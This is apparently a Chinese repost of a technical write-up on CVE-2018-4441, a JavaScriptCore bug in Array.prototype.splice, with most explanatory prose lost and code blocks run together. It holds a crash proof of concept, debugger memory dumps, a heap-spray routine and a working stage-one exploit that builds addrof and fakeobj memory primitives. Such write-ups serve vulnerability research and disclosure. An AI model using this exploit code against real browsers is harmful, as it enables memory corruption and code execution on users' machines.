2019-02-28 14:23:5711992人阅读
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
unsigned oldLength = storage->length();
RELEASE_ASSERT(count <= oldLength);
// 如果数组中包含holes或处于异常状态,
// 则使用ArrayPrototype中的通用算法。
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}
if (!oldLength)
return true;
unsigned length = oldLength - count;
storage->m_numValuesInVector -= count;
storage->setLength(length);
// [...]function main() {
// [1]
let arr = [1];
// [2]
arr.length = 0x100000;
// [3]
arr.splice(0, 0x11);
// [4]
arr.length = 0xfffffff0;
// [5]
arr.splice(0xfffffff0, 0, 1);
}
main();(lldb) r Process 3018 launched: './jsc' (x86_64) Process 3018 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638) frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage: -> 0x100af8cd3 <+675>: movq $0x0, 0x10(%r13,%rdi,8) 0x100af8cdc <+684>: incq %rcx 0x100af8cdf <+687>: incq %rdx 0x100af8ce2 <+690>: jne 0x100af8cd0 ; <+672> Target 0: (jsc) stopped. (lldb) p/x $r13 (unsigned long) $4 = 0x00000010000fe6a8 (lldb) p/x $rdi (unsigned long) $5 = 0x00000000fffffff0 (lldb) memory region $r13+($rdi*8) [0x00000017fa800000-0x0000001802800000) --- (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638) * frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675 frame #1: 0x0000000100af8fc7 JavaScriptCore`JSC::JSArray::unshiftCountWithAnyIndexingType(JSC::ExecState*, unsigned int, unsigned int) + 215 frame #2: 0x0000000100a6a1d5 JavaScriptCore`void JSC::unshift<(JSC::JSArray::ShiftCountMode)1>(JSC::ExecState*, JSC::JSObject*, unsigned int, unsigned int, unsigned int, unsigned int) + 181 frame #3: 0x0000000100a61c4b JavaScriptCore`JSC::arrayProtoFuncSplice(JSC::ExecState*) + 4267 [...]
// [...] for (unsigned i = 0; i < count; i++) vector[i + startIndex].clear(); // [...]
// [1] let arr = [1] // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6b0 // - Type: ArrayWithInt32 // - public length: 1 // - vector length: 1
--==[[ JSArray
(lldb) x/2gx -l1 0x107bb4340
0x107bb4340: 0x0108211500000062 <--- JSC::JSCell [*]
0x107bb4348: 0x00000010000fe6b0 <--- JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly
+0 { 16} JSArray
+0 { 16} JSC::JSNonFinalObject
+0 { 16} JSC::JSObject
[*] 01 08 21 15 00000062 +0 { 8} JSC::JSCell
| | | | | +0 { 1} JSC::HeapCell
| | | | +-------- +0 < 4> JSC::StructureID m_structureID;
| | | +----------- +4 < 1> JSC::IndexingType m_indexingTypeAndMisc;
| | +-------------- +5 < 1> JSC::JSType m_type;
| +----------------- +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags;
+-------------------- +7 < 1> JSC::CellState m_cellState;
+8 < 8> JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly;
+8 < 8> JSC::Butterfly * m_value;
--==[[ Butterfly
(lldb) x/2gx -l1 0x00000010000fe6b0-8
0x10000fe6a8: 0x0000000100000001 <--- JSC::IndexingHeader [*]
0x10000fe6b0: 0xffff000000000001 <--- arr[0]
0x10000fe6b8: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory)
[*] 00000001 00000001
| |
| +-------- uint32_t JSC::IndexingHeader.u.lengths.publicLength
+----------------- uint32_t JSC::IndexingHeader.u.lengths.vectorLength
// [2]
arr.length = 0x100000
// - Object @ 0x107bb4340
// - Butterfly @ 0x10000fe6e8
// - Type: ArrayWithArrayStorage
// - public length: 0x100000
// - vector length: 1
// - m_numValuesInVector: 1--==[[ Butterfly
(lldb) x/5gx -l1 0x00000010000fe6e8-8
0x10000fe6e0: 0x0000000100100000 <--- JSC::IndexingHeader
0x10000fe6e8: 0x0000000000000000 \___ JSC::ArrayStorage [*]
0x10000fe6f0: 0x0000000100000000 /
0x10000fe6f8: 0xffff000000000001 <--- m_vector[0], arr[0]
0x10000fe700: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory)
+0 { 24} ArrayStorage
[*] 0000000000000000 --- +0 < 8> JSC::WriteBarrier<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> > m_sparseMap;
0000000100000000 +0 { 8} JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >
| | +0 < 8> JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >::StorageType m_cell;
| +----------- +8 < 4> unsigned int m_indexBias;
+------------------- +12 < 4> unsigned int m_numValuesInVector;
+16 < 8> JSC::WriteBarrier<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> > [1] m_vector;
// [3]
arr.splice(0, 0x11)
// - Object @ 0x107bb4340
// - Butterfly @ 0x10000fe6e8
// - Type: ArrayWithArrayStorage
// - public length: 0xfffef
// - vector length: 1
// - m_numValuesInVector: 0xfffffff0EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
// [...]
unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
// [...]
unsigned actualDeleteCount = length - actualStart;
if (exec->argumentCount() > 1) {
double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (deleteCount < 0)
actualDeleteCount = 0;
else if (deleteCount > length - actualStart)
actualDeleteCount = length - actualStart;
else
actualDeleteCount = static_cast<unsigned>(deleteCount);
}
// [...]
unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
if (itemCount < actualDeleteCount) {
shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
} else if (itemCount > actualDeleteCount) {
unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
}
// [...]
}bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
// [...]
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}
// [...]
storage->m_numValuesInVector -= count;
// [...]
}// [4] arr.length = 0xfffffff0 // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6e8 // - Type: ArrayWithArrayStorage // - public length: 0xfffffff0 // - vector length: 1 // - m_numValuesInVector: 0xfffffff0
bool hasHoles() const
{
return m_numValuesInVector != length();
}// [5] arr.splice(0xfffffff0, 0, 1)
bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
// [...]
bool moveFront = !startIndex || startIndex < length / 2;
// [1]
if (moveFront && storage->m_indexBias >= count) {
Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
storage = newButterfly->arrayStorage();
storage->m_indexBias -= count;
storage->setVectorLength(vectorLength + count);
setButterfly(vm, newButterfly);
// [2]
} else if (!moveFront && vectorLength - length >= count)
storage = storage->butterfly()->arrayStorage();
// [3]
else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
storage = arrayStorage();
else {
throwOutOfMemoryError(exec, scope);
return true;
}
WriteBarrier<Unknown>* vector = storage->m_vector;
if (startIndex) {
if (moveFront)
// [4]
memmove(vector, vector + count, startIndex * sizeof(JSValue));
else if (length - startIndex)
// [5]
memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}
// [...]
}let SPRAY_SIZE = 0x3000;
// [a]
let spray = new Array(SPRAY_SIZE);
// [b]
for (let i = 0; i < 0x3000; i += 3) {
// ArrayWithDouble, will allocate 0x60, will be free'd
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
// ArrayWithContiguous, will allocate 0x60, will be corrupted for fakeobj
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
// ArrayWithDouble, will allocate 0x60, will be corrupted for addrof
spray[i+2] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
}
// [c]
for (let i = 0; i < 1000; i += 3)
spray[i] = null;
// [d]
gc();
// [e]
for (let i = 0; i < SPRAY_SIZE; i += 3)
// corrupt butterfly's length field
spray[i+1][0] = i2f(1337)... +0x0000: 0x0000000d0000000a ----------+ +0x0000: 0x402abd70a3d70a3d | +0x0008: 0x402abd70a3d70a3d | +0x0010: 0x402abd70a3d70a3d | +0x0018: 0x402abd70a3d70a3d | +0x0020: 0x402abd70a3d70a3d spray[i], ArrayWithDouble +0x0028: 0x402abd70a3d70a3d | +0x0030: 0x402abd70a3d70a3d | +0x0038: 0x402abd70a3d70a3d | +0x0040: 0x402abd70a3d70a3d | +0x0048: 0x402abd70a3d70a3d ----------+ ... +0x0068: 0x0000000d0000000a ----------+ +0x0070: 0x00007fffaf7c83c0 | +0x0078: 0x00007fffaf7b0080 | +0x0080: 0x00007fffaf7b00c0 | +0x0088: 0x00007fffaf7b0100 | +0x0090: 0x00007fffaf7b0140 spray[i+1], ArrayWithContiguous +0x0098: 0x00007fffaf7b0180 | +0x00a0: 0x00007fffaf7b01c0 | +0x00a8: 0x00007fffaf7b0200 | +0x00b0: 0x00007fffaf7b0240 | +0x00b8: 0x00007fffaf7b0280 ----------+ ... +0x00d8: 0x0000000d0000000a ----------+ +0x00e0: 0x402abd70a3d70a3d | +0x00e8: 0x402abd70a3d70a3d | +0x00f0: 0x402abd70a3d70a3d | +0x00f8: 0x402abd70a3d70a3d | +0x0100: 0x402abd70a3d70a3d spray[i+2], ArrayWithDouble +0x0108: 0x402abd70a3d70a3d | +0x0110: 0x402abd70a3d70a3d | +0x0118: 0x402abd70a3d70a3d | +0x0120: 0x402abd70a3d70a3d | +0x0128: 0x402abd70a3d70a3d ----------+ ...
// [...]
WriteBarrier<Unknown>* vector = storage->m_vector;
if (1000) {
if (1)
memmove(vector, vector + 1, 1000 * sizeof(JSValue));
}
// [...]for (j = 0; j < startIndex; i++) spray[6][j] = spray[6][j+1];
... +0x0000: 0x00000000badbeef0 <--- vector +0x0008: 0x0000000000000000 +0x0010: 0x00000000badbeef0 +0x0018: 0x00000000badbeef0 +0x0020: 0x00000000badbeef0 |vectlen| |publen| +0x0028: 0x0000000d0000000a ---------+ +0x0030: 0x0001000000000539 | +0x0038: 0x00007fffaf734dc0 | +0x0040: 0x00007fffaf734e00 | +0x0048: 0x00007fffaf734e40 | +0x0050: 0x00007fffaf734e80 spray[688] +0x0058: 0x00007fffaf734ec0 | +0x0060: 0x00007fffaf734f00 | +0x0068: 0x00007fffaf734f40 | +0x0070: 0x00007fffaf734f80 | +0x0078: 0x00007fffaf734fc0 ---------+ ... +0x0098: 0x0000000d0000000a ---------+ +0x00a0: 0x402abd70a3d70a3d | +0x00a8: 0x402abd70a3d70a3d | +0x00b0: 0x402abd70a3d70a3d | +0x00b8: 0x402abd70a3d70a3d | +0x00c0: 0x402abd70a3d70a3d spray[689] +0x00c8: 0x402abd70a3d70a3d | +0x00d0: 0x402abd70a3d70a3d | +0x00d8: 0x402abd70a3d70a3d | +0x00e0: 0x402abd70a3d70a3d | +0x00e8: 0x4085e2f5c28f5c29 ---------+ ...
... +0x0020: 0x0000000d0000000a |vectlen| |publen| +0x0028: 0x0001000000000539 --------+ +0x0030: 0x00007fffaf734dc0 | +0x0038: 0x00007fffaf734e00 | +0x0040: 0x00007fffaf734e40 | +0x0048: 0x00007fffaf734e80 | +0x0050: 0x00007fffaf734ec0 spray[688] +0x0058: 0x00007fffaf734f00 | +0x0060: 0x00007fffaf734f40 | +0x0068: 0x00007fffaf734f80 | +0x0070: 0x00007fffaf734fc0 | +0x0078: 0x0000000000000000 --------+ ...
let oob_boxed = spray[688]; // ArrayWithContiguous
let oob_unboxed = spray[689]; // ArrayWithDouble
let stage1 = {
addrof: function(obj) {
oob_boxed[14] = obj;
return f2i(oob_unboxed[0]);
},
fakeobj: function(addr) {
oob_unboxed[0] = i2f(addr);
return oob_boxed[14];
},
test: function() {
var addr = this.addrof({a: 0x1337});
var x = this.fakeobj(addr);
if (x.a != 0x1337) {
fail(1);
}
print('[+] Got addrof and fakeobj primitives \\o/');
}
}本文翻译自:https://melligra.fun/webkit/2019/02/15/cve-2018-4441/
翻译作者:41yf1sh 原文地址:https://www.4hou.com/vulnerable/16384.html